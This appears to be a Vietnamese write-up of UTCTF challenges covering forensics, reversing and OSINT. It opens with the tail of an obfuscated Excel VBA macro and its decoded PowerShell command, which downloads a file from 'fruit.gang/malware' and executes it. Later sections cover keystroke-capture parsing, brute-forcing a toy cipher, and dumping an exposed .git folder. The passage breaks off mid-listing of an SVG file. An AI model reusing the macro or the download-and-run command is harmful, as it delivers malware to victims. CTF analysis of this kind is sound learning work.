If Sheets("Sheet2").Range("U24").Value = "hmDEjcAE" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "g/ma"
End If
If Sheets("Sheet2").Range("C96").Value = "1eDPj4Rc" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "lwar"
End If
If Sheets("Sheet2").Range("B93").Value = "A72nfg/f" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + ".rds8"
End If
If Sheets("Sheet2").Range("E90").Value = "HP5LRFms" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "e';$"
End If
tfd753b886f3bd1f6da1a84488dee93f9 = "akrz"
If Sheets("Sheet2").Range("G39").Value = "MZZ/er++" Then
tfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "f3zsd"
End If
If Sheets("Sheet2").Range("B93").Value = "ZX42cd+3" Then
tfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "2832"
End If
If Sheets("Sheet2").Range("I15").Value = "e9x9ME+E" Then
tfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "0918"
End If
If Sheets("Sheet2").Range("T46").Value = "7b69F2SI" Then
tfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "2afd"
End If
If Sheets("Sheet2").Range("N25").Value = "Ga/NUmJu" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "CNTA"
End If
If Sheets("Sheet2").Range("N26").Value = "C1hrOgDr" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + " = '"
End If
If Sheets("Sheet2").Range("C58").Value = "PoX7qGEp" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "banA"
End If
If Sheets("Sheet2").Range("B53").Value = "see2d/f" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "Fl0dd"
End If
If Sheets("Sheet2").Range("Q2").Value = "VKVTo5f+" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "NA-H"
End If
t53df028c67b2f07f1069866e345c8b85 = "p"
If Sheets("Sheet2").Range("L84").Value = "GSPMnc83" Then
t53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "oWe"
End If
If Sheets("Sheet2").Range("H35").Value = "aCxE//3x" Then
t53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "ACew"
End If
If Sheets("Sheet2").Range("R95").Value = "uIDW54Re" Then
t53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "Rs"
End If
If Sheets("Sheet2").Range("A24").Value = "PKRtszin" Then
t53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "HELL"
End If
If Sheets("Sheet2").Range("G33").Value = "ccEsz3te" Then
t53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + "L3c33"
End If
If Sheets("Sheet2").Range("P31").Value = "aI3bH4Rd" Then
t53df028c67b2f07f1069866e345c8b85 = t53df028c67b2f07f1069866e345c8b85 + " -c"
End If
If Sheets("Sheet2").Range("Z49").Value = "oKnlcgpo" Then
tfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "4';$"
End If
If Sheets("Sheet2").Range("F57").Value = "JoTVytPM" Then
tfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "jri="
End If
If Sheets("Sheet2").Range("M37").Value = "y7MxjsAO" Then
tfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "$env:"
End If
If Sheets("Sheet2").Range("E20").Value = "ap0EvV5r" Then
tfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "publ"
End If
z92ea38976d53e8b557cd5bbc2cd3e0f8 = "\'+$"
If Sheets("Sheet2").Range("D11").Value = "Q/GXajeM" Then
z92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "CNTA"
End If
If Sheets("Sheet2").Range("B45").Value = "/hRdSmbG" Then
z92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "+'.ex"
End If
If Sheets("Sheet2").Range("D85").Value = "y4/6D38p" Then
z92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "e';tr"
End If
If Sheets("Sheet2").Range("P2").Value = "E45tTsBe" Then
z92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "4d2dx"
End If
If Sheets("Sheet2").Range("O72").Value = "lD3Ob4eQ" Then
tfd753b886f3bd1f6da1a84488dee93f9 = tfd753b886f3bd1f6da1a84488dee93f9 + "ic+'"
End If
qe32cd94f940ea527cf84654613d4fb5d = "omm"
If Sheets("Sheet2").Range("P24").Value = "d/v8oiH9" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "and"
End If
If Sheets("Sheet2").Range("V22").Value = "dI6oBK/K" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + " """
End If
If Sheets("Sheet2").Range("G1").Value = "zJ1AdN0x" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "$oa"
End If
If Sheets("Sheet2").Range("Y93").Value = "E/5234dF" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "e$3fn"
End If
If Sheets("Sheet2").Range("A12").Value = "X42fc3/=" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "av3ei"
End If
If Sheets("Sheet2").Range("F57").Value = "JoTVytPM" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "K ="
End If
If Sheets("Sheet2").Range("L99").Value = "t8PygQka" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + " ne"
End If
If Sheets("Sheet2").Range("X31").Value = "gGJBD5tp" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "w-o"
End If
If Sheets("Sheet2").Range("C42").Value = "Dq7Pu9Tm" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "bjec"
End If
If Sheets("Sheet2").Range("D22").Value = "X42/=rrE" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "aoX3&i"
End If
If Sheets("Sheet2").Range("T34").Value = "9u2uF9nM" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "t Ne"
End If
If Sheets("Sheet2").Range("G5").Value = "cp+qRR+N" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "t.We"
End If
If Sheets("Sheet2").Range("O17").Value = "Q8z4cV/f" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "bCli"
End If
If Sheets("Sheet2").Range("Y50").Value = "OML7UOYq" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "ent;"
End If
If Sheets("Sheet2").Range("P41").Value = "bG9LxJvN" Then
qe32cd94f940ea527cf84654613d4fb5d = qe32cd94f940ea527cf84654613d4fb5d + "$OrA"
End If
If Sheets("Sheet2").Range("L58").Value = "qK02fT5b" Then
z92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "y{$oa"
End If
If Sheets("Sheet2").Range("P47").Value = "hXelsG2H" Then
z92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "K.Dow"
End If
If Sheets("Sheet2").Range("A2").Value = "RcPl3722" Then
z92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "Ry.is"
End If
If Sheets("Sheet2").Range("G64").Value = "Kvap5Ma0" Then
z92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "nload"
End If
If Sheets("Sheet2").Range("H76").Value = "OjgR3YGk" Then
z92ea38976d53e8b557cd5bbc2cd3e0f8 = z92ea38976d53e8b557cd5bbc2cd3e0f8 + "File("
End If
f = t53df028c67b2f07f1069866e345c8b85 + qe32cd94f940ea527cf84654613d4fb5d + e5b138e644d624905ca8d47c3b8a2cf41 + tfd753b886f3bd1f6da1a84488dee93f9 + z92ea38976d53e8b557cd5bbc2cd3e0f8 + xc6fd40b407cb3aac0d068f54af14362e
Retval = Shell(f, 0)
Dim URL As String
URL = "https://www.youtube.com/watch?v=mYiBdMnIT88"
ActiveWorkbook.FollowHyperlink URL
End Sub
```
Đọc qua thì mình thấy nó sẽ thực hiện các lệnh if rồi sau đó gộp lại thành chuỗi f và sẽ mở Shell chạy command đó. Đến đây thì có thể check tay rồi gộp lại hoàn chỉnh, tuy nhiên thì mình chạy trực tiếp file này trên máy ảo và vào ``Powershell log event`` xem nó chạy lệnh gì.
```ps1=
poWeRsHELL -command "$oaK = new-object Net.WebClient;
$OrA = 'http://fruit.gang/malware';
$CNTA = 'banANA-Hakrz09182afd4';
$jri=$env:public+'\'+$CNTA+'.exe';
try{$oaK.DownloadFile($OrA, $jri);
Invoke-Item $jri;break;} catch {}"
```
Đề hỏi file được tải về tên gì vậy flag là: ***utflag{banANA-Hakrz09182afd4}***
## /PES-128
> Introducing the Parallel Encryption Standard PES-128 cipher! It's super high throughput and notable nonrequirement of keys makes it a worthy contender for NIST standardization as a secure PRF.
>
> By Jeriah (@jyu on discord)
Bài này may mắn mình là người giải ra thứ 3 mặc dù bài này không khó 👀

Mình chạy file và thử một vài thứ
```shell=
❯ ./token
gghhhjjelk
16
0000000000 // output
❯ ./token
aabb
16
aa7b // output
> ./token
16
cc7b // output
```
Chương trình sẽ nhận input là chuỗi hex và điều đặc biệt đó là ta có thể bruteforce dựa trên các lệnh mình chạy thử ở trên. Thế thì ta chỉ cần bruteforce char by char cho đến hết chương trình dựa vào chuỗi flag.enc đề cho
> 75ac713a945e9f78f657b735b7e1913cdece53b8853f3a7daade83b319c49139f8f655b0b77b
Final script:
```python=
import subprocess
enc = "75ac713a945e9f78f657b735b7e1913cdece53b8853f3a7daade83b319c49139f8f655b0b77b"
flag = ""
for i in range(38):
for j in range(32, 126):
char = str(hex(j))[2:4]
r = subprocess.Popen(["./token"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
flag += char
r.stdin.write(flag + "\n")
r.stdin.close()
ret = r.stdout.read(500)
index = ret.find("\n\n")
check = ret[index + 2 : len(ret)]
if check == enc[0:len(check)]:
print(bytes.fromhex(flag))
break
flag = flag[:-2]
r.terminate()
```
Flag: ***utflag{i_got_the_need_for_amdahls_law}***
# /Forensics
## /Contracts
> Magical contracts are hard. Occasionally, you sign with the flag instead of your name. It happens.
>
>By Samintell (@samintell on discord)
Tải về được 1 file pdf, mình thử mở file này lên thì không có gì thú vị.
Mình thử extract các object của file pdf này ra bằng lệnh `pdfextract`

Check thư mục `document.dump/images` ta thấy có 1 tấm ảnh chứa flag

Flag: ***utctf{s1mple_w1z4rding_mist4k3s}***
## /A Very Professional Website
> Web dev skills go brrr
>
> By Caleb (@eden.caleb.a on discord)
Sau khi vào web thì mình không thấy gì thú vị cả

Sau một hồi ngồi mò thì mình nhận ra mình nhận thấy có folder `.git/` và mình có thể truy cập và download một số file trong đó.
Mình sử dụng [git-dumper](https://github.com/arthaud/git-dumper) để download folder .git về. Ta xem thử qua file log thì thấy có một commit khá thú vị

Sử dụng `git show` để xem thử thì ta thấy file `secret.html` có chứa flag ở trong đó

## /OSINT 1
> It seems like companies have document leaks all the time nowadays. I wonder if this company has any.
>
>(NOTE: It turns out there's also an actual company named Kakuu in Japan. The real company is not in scope. Please don't try and hack them.)
>
>By mzone (@mzone on discord)
>
>http://puffer.utctf.live:8756
>:::spoiler Unlock Hint for 0 points
>You're looking for a leaked document. You won't find it on their website.
>:::
>:::spoiler Unlock Hint for 0 points
>Accounts online associated with the scenario should be (fairly) distinguishable.
>:::
## /OSINT 2
>Can you find where the person you identified in the first challenge lives? Flag format is City,State,Zip. For example, if they live at UT Austin submit Austin,TX,78712.
>
>Do not include any spaces in your submission. The submission is also case sensitive, and works with or without utflag{}.
>
>By mzone (@mzone on discord)
>
>:::spoiler Unlock Hint for 0 points
>Follow the storyline.
>:::
>
>:::spoiler Unlock Hint for 0 points
>All in scope accounts follow the same naming convention. Once you've reached a centralized location any sites you need can be reached in at most 3 clicks.
>:::
## /OSINT 3
>Can you find the person's IP address? Flag format is XXX.XXX.XXX.XXX
>
>By mzone (@mzone on discord)
>
>:::spoiler Unlock Hint for 0 points
>If you wound up on another (unrelated) discord server, then one of the sites you visited is too new.
>:::
>:::spoiler Unlock Hint for 0 points
>All in scope accounts follow the same naming convention. Once you've reached a centralized location any sites you need can be reached in at most 3 clicks.
>:::
## /Study Music
> I listen to this while studying for my exams. https://youtu.be/1Cbaa6dO2Yk
> By Danny (Danny on Discord).
>
>Note: the audio is the focus of this challenge. The video can be safely ignored.
Từ link youtube biết được author bài này vừa học toán vừa nghe nhạc chipi chapa 10 tiếng để học. Từ note đề bài mình biết được cần tập trung vào phân tích audio nên convert về dạng mp3/wav/m4a tải về máy.
Mở audio bằng `Audacity` và check kĩ thì thấy được tầm khoảng `3:14:20` đến `3:14:50` có tiếng của mã morse.

Từ spectrogram ta dịch được mã morse (Thật ra lúc chơi giải mình phải nghe bằng tai ~~vì vấn đề kĩ năng~~ để check lại):
```
..-./.-../.-/--./.-../-----/...-/...--/-/..../....-/-/-../.-/-./-.-./...--/
```
Flag: ***utflag{L0V3_TH4T_DANC3}***
## /Gibberish
> Help! I'm trying to spy on my lover but they're not typing in any language I'm familiar with!
>
> By mzone (@mzone on discord)
>
>:::spoiler Unlock Hint for 0 points
>I made this on a qwerty keyboard but I would recommend buying something more specialized if you were to do this all day. You'll know you're on the right track when you find something that rhymes with a word in the challenge description.
>:::
>
>:::spoiler Unlock Hint for 0 points
>It's not a cipher.
>:::
>
>:::spoiler Unlock Hint for 0 points
>I used a 6-key rollover keyboard. You might want to double check some of your words.
>:::
Chall cho 1 file pcapng về USBcap. Mở file này lên và chú ý tới packets có `usb.src == "1.13.1"` là các dữ liệu keystroke mà bàn phím truyền vào máy.

Mình extract `usbhid.data` của các packet trên.
```bash
tshark -r keyboard.pcapng -Y 'usb.src == "1.13.1"' -Tfields -e 'usbhid.data' | sed 's/../:&/g2' > keystrokedata.txt
```

Check thử file `keystrokedata.txt` mình thấy các packets các phím modifier (2 bytes đầu không được sử dụng) thay vào đó chỉ sử dụng 6 bytes keycode phía sau, vì vậy mình sử dụng đoạn script ngắn để in ra các chữ trong 6 bytes keycode phía sau.
:::spoiler extract.py
```python!
#KEY_CODES is from https://github.com/TeamRocketIst/ctf-usb-keyboard-parser
KEY_CODES = {
0x00:[' ', ' '],
0x04:['a', 'A'],
0x05:['b', 'B'],
0x06:['c', 'C'],
0x07:['d', 'D'],
0x08:['e', 'E'],
0x09:['f', 'F'],
0x0A:['g', 'G'],
0x0B:['h', 'H'],
0x0C:['i', 'I'],
0x0D:['j', 'J'],
0x0E:['k', 'K'],
0x0F:['l', 'L'],
0x10:['m', 'M'],
0x11:['n', 'N'],
0x12:['o', 'O'],
0x13:['p', 'P'],
0x14:['q', 'Q'],
0x15:['r', 'R'],
0x16:['s', 'S'],
0x17:['t', 'T'],
0x18:['u', 'U'],
0x19:['v', 'V'],
0x1A:['w', 'W'],
0x1B:['x', 'X'],
0x1C:['y', 'Y'],
0x1D:['z', 'Z'],
0x1E:['1', '!'],
0x1F:['2', '@'],
0x20:['3', '#'],
0x21:['4', '$'],
0x22:['5', '%'],
0x23:['6', '^'],
0x24:['7', '&'],
0x25:['8', '*'],
0x26:['9', '('],
0x27:['0', ')'],
0x28:['\n','\n'],
0x29:['[ESC]','[ESC]'],
0x2a:['[BACKSPACE]', '[BACKSPACE]'],
0x2C:[' ', ' '],
0x2D:['-', '_'],
0x2E:['=', '+'],
0x2F:['[', '{'],
0x30:[']', '}'],
0x32:['#','~'],
0x33:[';', ':'],
0x34:['\'', '"'],
0x36:[',', '<'],
0x37:['.', '>'],
0x38:['/', '?'],
0x39:['[CAPSLOCK]','[CAPSLOCK]'],
0x2b:['\t','\t'],
0x4f:[u'→',u'→'],
0x50:[u'←',u'←'],
0x51:[u'↓',u'↓'],
0x52:[u'↑',u'↑']
}
with open("keystrokedata.txt", "r") as f:
lines = f.readlines()
with open("keydata.txt", 'a') as f:
for line in lines:
shift = 0 #Because modified keycode is not in any packets
data = line.strip().split(':')[2:]
hihi = [KEY_CODES[int(data[i], 16)][shift] for i in range(0, len(data))]
print(''.join(hihi))
f.write(''.join(hihi))
f.write('\n')
```
:::
Chạy script thu được file `keydata.txt`
:::spoiler keydata.txt
```
w
wc
wcv
wcvn
wcvnm
wcvnmi
wcvnm
wcvn
cvn
cv
c
s
sd
sdf
df
f
[BACKSPACE]
[BACKSPACE]
[BACKSPACE]
[BACKSPACE]
d
ds
dsg
dsgf
dgf
dg
d
w
wc
wcv
wcvn
wcvnm
wcvnmi
cvnmi
cnmi
nmi
nm
n
c
cd
cdl
cl
c
[BACKSPACE]
;
r
rn
rnj
rn
r
c
cr
crl
cr
r
[BACKSPACE]
[BACKSPACE]
[BACKSPACE]
[BACKSPACE]
c
cr
cr;
c;
;
c
ce
cej
cejp
cjp
cj
j
m
mr
mr
mr p
mrp
mr
m
[BACKSPACE]
[BACKSPACE]
[BACKSPACE]
[BACKSPACE]
[BACKSPACE]
[BACKSPACE]
e
em
emp
mp
m
a
an
ano
an
n
[BACKSPACE]
[BACKSPACE]
[BACKSPACE]
[BACKSPACE]
[BACKSPACE]
a
an
anp
an
a
f
fv
fvj
vj
j
[REDACTED] #Vì file này dài quá
```
:::
Nhìn vào thì mình không ghép ra được từ gì có nghĩa, nó cũng không phải là dạng encrypt nào, mình stuck bài này hơn 1 ngày cho đến khi author public hint thứ 3 về `6-key rollover keyboard`. Trong khi đang search về thứ này aka `key rollover` và ứng dụng của nó thì mình tìm ra thứ khá lạ là `stegno type`

>A stenotype or shorthand machine is a specialized chorded keyboard or typewriter used by stenographers for shorthand use. A trained court reporter or closed captioner can write speeds of approximately 225 words per minute at very high accuracy. Many users of this machine can even reach 300 words per minute.
Tiếp tục tìm kiếm về `stegno type` thì mình phát hiện ra [tool](https://github.com/openstenoproject/plover) này hỗ trợ cho dạng 'typing' này

Hehe, đến đây mình đã chắc chắn đang đúng hướng. Author bài này đã sử dụng bàn phím thông thường (đa số bàn phím đang sử dụng layout QWERTY) để gõ `stegnotype`. Keycode data của các packets trên là từ bàn phím gửi đến máy tính, sau đó các keycode này phải được đi qua tool hỗ trợ stegotype xử lí (có thể author cũng dùng `plover`) để ra chữ có nghĩa.
Vì vậy mình tải `plover` về máy gõ lại những chữ trích được từ packets trên để thấy được từ có nghĩa.(Mình không có gõ [BACKSPACE] nên nhìn vào đoạn text thấy hơi vô nghĩa)
```
type why y type wags her hag has part hut put sell set roar war kept sort top step per hot soft spot stop hat hurt salt wet hers port star web wept wars hut pat pot trap rob pops tops halt pub pet harp rub spur pat sob raft trot rat tap rug sub was her harass has part put set war kept sort top step per hot SOPT soft spot stool stop hat hurt salt wet hers port star web weapon weapon wept cars wars hut pat pot trap robber TROPS TRO tops halt pub pet harp rub spur pal patted sob raft transport trot rat tap rug sub was her hag has part put set WRA war kept sort top STERP STERP step per hot pad rePHAOEUFRBD remyed reminder: set flag to ut flag {learning_stenography_on_a_qwerty_keyboard_is_quae quite_difficult} make sure to remove any spaces can was her said hack has well part world head put tell heart set told course word words words word whose half says held war KERPT kept hard hold sored sort cut pass hors horse remembered remembered remember red hotters parts court top step per hot step'll STERP steps soft spot stool stool stop
```
Flag: ***utflag{learning_stenography_on_a_qwerty_keyboard_is_quite_difficult}***
***Note:***
Vì mình dùng bàn phím laptop (bàn phím cùi không có key rollover hjc) nên mình phải sử dụng mode `Arpeggiate` có ở plover để có thể gõ được như author. Ngoài ra để có thể gõ ra được cái flag mà không bị mix hay sai chữ ~~như mình~~ thì cần phải chú ý tới `N-key rollover` như author đã hint và stack ở keyboard
Mình đánh giá bài này khá quan trọng về kĩ năng search ra được thứ gì đó =)))).
## /Insanity Check: Reimagined
> A reimagined version of our iconic Insanity Check: Redux challenge from UTCTF 2023.
> The flag is in CTFd this time, but, as always, you'll have to work for it.
> (Specifically the CTFd instance hosting utctf.live)
(This challenge does not require any brute-force -- as per the rules of the competition, brute-force tools like dirbuster are not allowed, and will not help you here.)
>
> By Alex (@.alex_._ on Discord)
Cả team gần như bới tung cả cái web CTFd của giải lên để xem có gì sus không thì chỉ thấy vài bức ảnh PNG `Top 10 Teams Scoreboard`, `Score over time`..., MP3 và WEBM của `notification` mà mình đã check thử xem chúng nó giấu gì không thì không có gì bất thường ở đây. Ngoài ra còn có faki flag của organzers lẫn một vài players thích trôn trôn.
Như bài trên thì bài này cả team cũng stuck không kém gì, sau đó @clowncs đã có ý tưởng về việc check file `favicon.svg` và mã morse. Vì author đã nói đó là hướng đi đúng nên mình cũng tập trung suy nghĩ theo ý tưởng này.
:::spoiler favicon.svg
```css=
<svg width="384" height="576" viewBox="0 0 384 576" xmlns="http://www.w3.org/2000/svg" id="root">
<style>
@keyframes blink {
0.000% { fill: #FFFF; }
0.314% { fill: #FFF6; }
0.629% { fill: #FFFF; }
0.943% { fill: #FFF6; }
1.258% { fill: #FFFF; }
2.201% { fill: #FFF6; }
2.516% { fill: #FFF6; }
3.145% { fill: #FFFF; }
4.088% { fill: #FFF6; }
4.403% { fill: #FFF6; }
5.031% { fill: #FFFF; }
5.346% { fill: #FFF6; }
5.660% { fill: #FFFF; }
5.975% { fill: #FFF6; }
6.289% { fill: #FFFF; }
7.233% { fill: #FFF6; }
7.547% { fill: #FFFF; }
7.862% { fill: #FFF6; }
8.176% { fill: #FFF6; }
8.805% { fill: #FFFF; }
9.119% { fill: #FFF6; }
9.434% { fill: #FFFF; }
10.377% { fill: #FFF6; }
10.692% { fill: #FFFF; }
11.006% { fill: #FFF6; }
11.321% { fill: #FFFF; }
11.635% { fill: #FFF6; }
11.950% { fill: #FFF6; }
12.579% { fill: #FFFF; }
12.893% { fill: #FFF6; }
13.208% { fill: #FFFF; }
14.151% { fill: #FFF6; }
14.465% { fill: #FFF6; }
15.094% { fill: #FFFF; }
16.038% { fill: #FFF6; }
16.352% { fill: #FFFF; }
17.296% { fill: #FFF6; }
17.610% { fill: #FFFF; }
17.925% { fill: #FFF6; }
18.239% { fill: #FFF6; }
18.868% { fill: #FFF6; }
20.126% { fill: #FFF6; }
20.755% { fill: #FFFF; }
21.069% { fill: #FFF6; }
21.384% { fill: #FFFF; }
21.698% { fill: #FFF6; }
22.013% { fill: #FFFF; }
22.956% { fill: #FFF6; }
23.270% { fill: #FFF6; }
23.899% { fill: #FFFF; }
24.843% { fill: #FFF6; }
25.157% { fill: #FFF6; }
25.786% { fill: #FFFF; }
26.730% { fill: #FFF6; }
27.044% { fill: #FFFF; }
27.358% { fill: #FFF6; }
27.673% { fill: #FFFF; }
28.616% { fill: #FFF6; }
28.931% { fill: #FFFF; }
29.245% { fill: #FFF6; }
29.560% { fill: #FFF6; }
30.189% { fill: #FFFF; }
31.132% { fill: #FFF6; }
31.447% { fill: #FFF6; }
32.075% { fill: #FFFF; }
32.390% { fill: #FFF6; }
32.704% { fill: #FFFF; }
33.019% { fill: #FFF6; }
33.333% { fill: #FFFF; }
34.277% { fill: #FFF6; }
34.591% { fill: #FFFF; }
34.906% { fill: #FFF6; }
35.220% { fill: #FFF6; }
35.849% { fill: #FFF6; }
37.107% { fill: #FFF6; }
37.736% { fill: #FFFF; }
38.050% { fill: #FFF6; }
38.365% { fill: #FFFF; }
38.679% { fill: #FFF6; }
38.994% { fill: #FFFF; }
39.937% { fill: #FFF6; }
40.252% { fill: #FFF6; }
40.881% { fill: #FFFF; }
41.195% { fill: #FFF6; }
41.509% { fill: #FFFF; }
41.824% { fill: #FFF6; }
42.138% { fill: #FFFF; }
42.453% { fill: #FFF6; }
42.767% { fill: #FFF6; }
43.396% { fill: #FFFF; }
43.711% { fill: #FFF6; }
44.025% { fill: #FFF6; }
44.654% { fill: #FFFF; }
44.969% { fill: #FFF6; }
45.283% { fill: #FFFF; }
45.597% { fill: #FFF6; }
45.912% { fill: #FFFF; }
46.226% { fill: #FFF6; }
46.541% { fill: #FFF6; }
47.170% { fill: #FFF6; }
48.428% { fill: #FFF6; }
49.057% { fill: #FFFF; }
49.371% { fill: #FFF6; }
49.686% { fill: #FFFF; }
50.000% { fill: #FFF6; }
50.314% { fill: #FFFF; }
50.629% { fill: #FFF6; }
50.943% { fill: #FFF6; }
51.572% { fill: #FFFF; }
51.887% { fill: #FFF6; }
52.201% { fill: #FFFF; }
52.516% { fill: #FFF6; }
52.830% { fill: #FFFF; }
53.145% { fill: #FFF6; }
53.459% { fill: #FFFF; }
54.403% { fill: #FFF6; }
54.717% { fill: #FFF6; }
55.346% { fill: #FFFF; }
56.289% { fill: #FFF6; }
56.604% { fill: #FFFF; }
57.547% { fill: #FFF6; }
57.862% { fill: #FFFF; }
58.176% { fill: #FFF6; }
58.491% { fill: #FFF6; }
59.119% { fill: #FFF6; }
60.377% { fill: #FFF6; }
61.006% { fill: #FFFF; }
61.950% { fill: #FFF6; }
62.264% { fill: #FFF6; }
62.893% { fill: #FFFF; }
63.836% { fill: #FFF6; }
64.151% { fill: #FFFF; }
65.094% { fill: #FFF6; }
65.409% { fill: #FFFF; }
66.352% { fill: #FFF6; }
66.667% { fill: #FFF6; }
67.296% { fill: #FFF6; }
68.553% { fill: #FFF6; }
69.182% { fill: #FFFF; }
69.497% { fill: #FFF6; }
69.811% { fill: #FFFF; }
70.126% { fill: #FFF6; }
70.440% { fill: #FFF6; }
71.069% { fill: #FFFF; }
72.013% { fill: #FFF6; }
72.327% { fill: #FFF6; }
72.956% { fill: #FFFF; }
73.270% { fill: #FFF6; }
73.585% { fill: #FFFF; }
73.899% { fill: #FFF6; }
74.214% { fill: #FFFF; }
74.528% { fill: #FFF6; }
74.843% { fill: #FFF6; }
75.472% { fill: #FFF6; }
76.730% { fill: #FFF6; }
77.358% { fill: #FFFF; }
77.673% { fill: #FFF6; }
77.987% { fill: #FFFF; }
78.302% { fill: #FFF6; }
78.616% { fill: #FFFF; }
79.560% { fill: #FFF6; }
79.874% { fill: #FFFF; }
80.189% { fill: #FFF6; }
80.503% { fill: #FFF6; }
81.132% { fill: #FFFF; }
81.447% { fill: #FFF6; }
81.761% { fill: #FFFF; }
82.075% { fill: #FFF6; }
82.390% { fill: #FFFF; }
83.333% { fill: #FFF6; }
83.648% { fill: #FFF6; }
84.277% { fill: #FFFF; }
84.591% { fill: #FFF6; }
84.906% { fill: #FFFF; }
85.849% { fill: #FFF6; }
86.164% { fill: #FFFF; }
86.478% { fill: #FFF6; }
86.792% { fill: #FFFF; }
87.107% { fill: #FFF6; }
87.421% { fill: #FFF6; }
88.050% { fill: #FFFF; }
88.365% { fill: #FFF6; }
88.679% { fill: #FFFF; }
89.623% { fill: #FFF6; }
89.937% { fill: #FFFF; }
90.252% { fill: #FFF6; }
90.566% { fill: #FFFF; }
90.881% { fill: #FFF6; }
91.195% { fill: #FFF6; }
91.824% { fill: #FFFF; }
92.138% { fill: #FFF6; }
92.453% { fill: #FFF6; }
93.082% { fill: #FFFF; }
93.396% { fill: #FFF6; }
93.711% { fill: #FFFF; }
94.025% { fill: #FFF6; }
94.340% { fill: #FFFF; }
94.654% { fill: #FFF6; }
94.969% { fill: #FFF6; }
95.597% { fill: #FFFF; }
96.541% { fill: #FFF6; }
96.855% { fill: #FFF6; }
97.484% { fill: #FFF6; }
98.742% { fill: #FFF6; }
100% { fill: #FFF6; }
}
@keyframes rainbow1 {
0% { stop-color: hsl(27.3, 100%, 37.5%); }
25% { stop-color: hsl(13.6, 100%, 37.5%); }
50% { stop-color: hsl(0, 100%, 37.5%); }
75% { stop-color: hsl(13.6, 100%, 37.5%); }
100% { stop-color: hsl(27.3, 100%, 37.5%); }
}
@keyframes rainbow2 {
0% { stop-color: hsl(47, 80.9%, 61%); }
25% { stop-color: hsl(38.5, 80.9%, 61%); }
50% { stop-color: hsl(30, 80.9%, 61%); }
75% { stop-color: hsl(38.5, 80.9%, 61%); }
100% { stop-color: hsl(47, 80.9%, 61%); }
}
#gradient > stop:first-child {
animation: rainbow1 30s infinite linear;
}
#gradient > stop:last-child {
animation: rainbow2 30s infinite linear;
}
.center {
animation: blink 120s infinite;
animation-delay: 10s;
}
.sharp {
animation-timing-function: steps(1, end);
}
#center:not(.center) {
transform: translate(0, -192px);
}
</style>
<defs>
<linearGradient id="gradient" gradientTransform="rotate(-30 0.5 0.5)">
<stop offset="0%" stop-color="#bf5700"/>
<stop offset="100%" stop-color="#ecc94b"/>
</linearGradient>
